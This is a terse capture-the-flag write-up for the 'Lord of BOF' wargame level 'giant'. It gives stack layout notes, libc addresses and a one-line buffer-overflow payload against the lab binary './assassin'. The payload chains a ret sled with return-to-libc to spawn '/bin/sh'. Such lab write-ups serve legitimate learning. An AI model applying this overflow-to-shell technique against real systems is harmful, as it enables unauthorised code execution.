Wargames/Load Of BOF
LOB Redhat 6.2 - giant
5unKn0wn
2015. 10. 30. 00:32
giant - no stack, no RTL
Stack : buffer[40] + sfp[4] + ret[4]
ret : 0x804851e
system : 0x40058ae0
exit : 0x400391e0
"/bin/sh" : 0x400fbff9
Payload : ./assassin `python -c 'print "A"*44 + "\x1e\x85\x04\x08" + "\xe0\x8a\x05\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40"'`
Using Ret sled + RTL